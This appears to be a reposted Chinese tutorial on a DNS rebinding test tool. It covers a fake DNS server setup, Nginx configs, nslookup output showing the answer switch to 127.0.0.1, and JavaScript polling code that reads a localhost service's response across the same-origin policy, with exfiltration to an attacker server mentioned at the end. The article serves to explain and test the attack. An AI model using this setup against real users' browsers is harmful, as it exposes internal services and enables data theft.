溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
您好，登錄后才能下訂單哦！
這篇文章將為大家詳細講解有關DNS-Rebinding-Tool是什么腳本，小編覺得挺實用的，因此分享給大家做個參考，希望大家閱讀完這篇文章后可以有所收獲。
DNS-Rebinding-Tool是一款帶有自定義腳本的DNS重綁定工具，該項目集成了多種功能，可以用來測試DNS重綁定攻擊，并幫助我們更加深入地了解這種類型的網絡攻擊。該工具由一個Web服務器和一個偽DNS服務器組成，這個偽DNS服務器主要功能就是用來響應用戶請求的。
Web服務器的根索引允許用戶自定義配置，并且可以使用基礎的Web圖形界面執行攻擊測試。
Web服務器主機的基礎Nginx配置如下：
server { listen 80; server_name dnsrebindtool.43z.one; location / { proxy_pass http://localhost:5000; }}Web服務器的/attack路徑可以讀取GET參數“script”，該參數可以提供一個Basic64編碼的JavaScript腳本，并以嵌入在常規HTML頁面中的解碼代碼來響應請求：
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk=" <html> <script> setTimeout(function(){ alert(1) }, 3000) </script></html>在我注冊的域名43z.one中，我針對子域名rebind配置了一條NS記錄，并指向了該工具托管的IP地址：
ns A 81.4.124.10rebind NS ns.43z.one
DNS服務器只會響應下列各式的查詢請求：
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
第一個部分（子域名）是一個隨機ID，每次攻擊會話會生成一個這樣的隨機ID，第二個部分是DNS服務器在兩秒后需要響應的IP地址，第三部分是時間間隔過后DNS服務器需要響應的IP地址：
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one Fri Feb 2 21:18:20 CET 2018Server: 8.8.8.8Address: 8.8.8.8#53Non-authoritative answer:Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneAddress: 81.4.124.10$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneFri Feb 2 21:18:23 CET 2018Server: 8.8.8.8Address: 8.8.8.8#53Non-authoritative answer:Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneAddress: 127.0.0.1
最后就是針對重綁定域名的Nginx配置項了，工具只接受/attack路徑，其他傳遞過來的參數都會以錯誤信息予以響應，這種機制允許攻擊者攻擊端口80上的其他服務，例如/api/monitoring/stats：
server { listen 80; server_name *.rebind.43z.one; location / { return 404; } location /attack { proxy_pass http://localhost:5000/attack; }}var xhr = new XMLHttpRequest()xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)xhr.send()// first time the browser sees this domain it queries the dns server// and gets 81.4.124.10// sleep for more than 2 secxhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)xhr.send()// still uses 81.4.124.10 (AND NOT 127.0.0.1)// NO dns query happened browser used cached IP這也是此類攻擊存在的一個“通病”，為了實現攻擊，瀏覽器需要重新發送一個新的DNS查詢請求來獲取第二個IP地址。我的測試結果表明，我們可以使用下列腳本來測量WAIT變量（查詢請求的發送時間間隔）的最優值，我的測試平臺為Debian buster/sid，瀏覽器版本為Chromium 62.0.3202.89：
var WAIT = 200var start = Date.now()var interval = setInterval(function(){ var xhr = new XMLHttpRequest() xhr.open('GET', '//' + $REBIND_DOMAIN, false) xhr.send() if(xhr.status == 200){ document.body.innerHTML = (Date.now() - start)/1000 document.body.innerHTML += xhr.responseText clearInterval(interval) return }}, WAIT)| WAIT值/毫秒 | Chrome發送的請求數 | 查詢DNS的間隔 |
|---|---|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
這個netcat實例可以提供一些我們所感興趣的內容，這里我保留了默認的重綁定域名“$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one”以及默認腳本。
var start = Date.now()var interval = setInterval(function(){ var xhr = new XMLHttpRequest() xhr.open('GET', '//' + $REBIND_DOMAIN, false) xhr.send() if(xhr.status == 200){ document.body.innerHTML = (Date.now() - start)/1000 document.body.innerHTML += xhr.responseText clearInterval(interval) return }}, 200)訪問【dnsrebindtool.43z.one】，然后點擊“Attack”按鈕。打開開發工具的Network標簽，我們可以直接看到后臺所發生的的情況。我過濾掉了字符串“TOPSECRET”，我們的DNS重綁定攻擊成功繞過了SOP，為了要從iframe中獲取泄露的數據，我們還需要使用 Window.PostMessage()或將數據轉發到攻擊者的另一臺服務器端。
關于“DNS-Rebinding-Tool是什么腳本”這篇文章就分享到這里了，希望以上內容可以對大家有一定的幫助，使各位可以學到更多知識，如果覺得文章不錯，請把它分享出去讓更多的人看到。
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
